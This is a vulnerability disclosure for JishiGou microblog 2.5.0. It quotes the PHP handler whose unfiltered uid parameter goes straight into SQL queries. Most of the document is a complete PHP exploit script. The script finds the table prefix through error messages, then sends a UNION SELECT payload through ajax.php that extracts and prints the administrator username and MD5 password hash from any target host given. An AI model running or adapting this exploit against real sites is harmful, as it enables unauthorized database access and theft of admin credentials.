记事狗微博 V2.5.0 SQL Injection 注入漏洞

                function UserMenu()

        {

                extract($this->Get);

                extract($this->Post);



                 $uids = $this->Post['uid'];//无任何过滤



                        if($uids) {

                                $buddysid = array();

                                if(MEMBER_ID > 0) {

                                        $sql = "select `buddyid` as `id`,`remark` from `".TABLE_PREFIX."buddys` where `uid`='".MEMBER_ID."' and `buddyid` = ".$uids;//直接入库

                                        $query = $this->DatabaseHandler->Query($sql);

                                        while ($row = $query->GetRow())

                                        {

                                                $buddysid[$row['id']] = $row['id'];

                                                $remark_name = $row['remark'];

                                        }

                                }

                }



                $list_members = $this->TopicLogic->GetMember($uids,"`uid`,`ucuid`,`medal_id`,`username`,`nickname`,`face`,`fans_count`,`topic_count`,`validate`");



                $follow_html = $list_members[$uids]['follow_html'] = follow_html($uids,isset($buddysid[$uids]));



                                $sql = "select `uid`,`touid` from `".TABLE_PREFIX."blacklist` where `touid`='{$uids}' and `uid` = '".MEMBER_ID."'";

                $query = $this->DatabaseHandler->Query($sql);

                $blackList = $query->GetRow();



                                $sql = "select * from `".TABLE_PREFIX."user_tag_fields` where  `uid` = '{$uids}'";

                $query = $this->DatabaseHandler->Query($sql);

                $usertag=$query->GetAll();



                include($this->TemplateHandler->Template('topic_user_menu'));



        }

                  case 'usermenu':

                                $this->UserMenu();

                                break;

<?php

print_r('

--------------------------------------------------------------------------------

JishiGou 2.5.0  "ajax" SQL injection/admin credentials disclosure exploit

BY godblack([url]https://www.t00ls.com/[/url])

--------------------------------------------------------------------------------

');



if ($argc<3) {

print_r('

--------------------------------------------------------------------------------

Usage: php '.$argv[0].' host path

host: target server (ip/hostname),without"http://"

path: path to JishiGou

Example:

php '.$argv[0].' localhost / 

--------------------------------------------------------------------------------

');

die;

}



function getrand($i)

{

 for($j=0;$j<=$i-1;$j++)

 {

  srand((double)microtime()*1000000);

  $randname=rand(!$j ? 1: 0,9);

  $randnum.=$randname;

 }

 return $randnum;

}



function sendpacketii($packet)

{

global  $host, $html;

$ock=fsockopen(gethostbyname($host),'80');

if (!$ock) {

echo 'No response from '.$host; die;

}

fputs($ock,$packet);

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

fclose($ock);

}



$host=$argv[1];

$path=$argv[2];

$cookie="JishiGou_ZDgwxL_auth=8743x%2FRUOVdWAQs4S1CRqZ%2FQ3ez0Xp9aEv4AQdkTHf9dropT9cyT0IYD6m%2FLNX%2BHI0dnZMWcePK7S5PylijS; JishiGou_ZDgwxL_sid=I6b932; JishiGou_ZDgwxL_login_credits=1300090380";

$useragent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";



if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))

{echo 'Error... check the path!'; die;}



/*get   $prefix*/

$data = "uid=-1%27";

$packet ="POST ".$path."/ajax.php?mod=topic&code=usermenu HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Accept-Language: zh-cn\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (eregi("in your SQL syntax",$html)){

        $temp=explode("from `",$html);

        if(isset($temp[1])){$temp2=explode("buddys",$temp[1]);}

        if($temp2[0])

        $prefix=$temp2[0];

        echo "[+]prefix -> ".$prefix."\n";

}else{

        //echo $html;

        echo "[+]can't find prefix ,use jishigou_\n";

        $prefix="jishigou_";

}



echo "[~]exploting now,plz waiting\r\n";



$data = "uid=-1/**/union/**/all/**/select/**/1,concat(username,0x7C0D0A,password)/**/from/**/".$prefix."members/**/where/**/uid=1";

$packet ="POST ".$path."/ajax.php?mod=topic&code=usermenu HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Accept-Language: zh-cn\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

echo "\r\n";

echo $packet;

sendpacketii($packet);

if (eregi("<!--\(\)",$html)){

        echo $packet;

        echo $html;

        die("Exploit failed...");

}else{

        $pattern="/<\!\-\-\((.*?)\)\s\-\->/si";

        preg_match($pattern,$html,$pg);

        $result=explode("|",$pg[1]);

        print_r('

--------------------------------------------------------------------------------

[+]username -> '.$result[0].'

[+]password(md5) -> '.$result[1].'

--------------------------------------------------------------------------------

        ');

}

?>